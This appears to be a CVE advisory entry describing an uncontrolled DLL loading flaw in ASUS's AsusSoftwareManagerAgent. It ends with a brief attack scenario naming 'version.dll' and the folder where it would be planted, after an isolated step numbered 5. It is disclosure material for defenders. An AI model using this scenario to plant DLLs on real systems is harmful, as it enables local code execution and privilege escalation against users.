CVE-2025-12793

Description

An uncontrolled DLL loading path vulnerability exists in AsusSoftwareManagerAgent. A local attacker may influence the application to load a DLL from an attacker-controlled location, potentially resulting in arbitrary code execution. Refer to the ' Security Update for MyASUS' section on the ASUS Security Advisory for more information.

5. Attacker gains code execution with application's privileges

Example attack scenario:
- Attacker places 'version.dll' in C:\\Program Files\\ASUS\\Software Manager\\
- When application starts, it loads version.dll from current directory
- Malicious code in DLL executes with high privileges
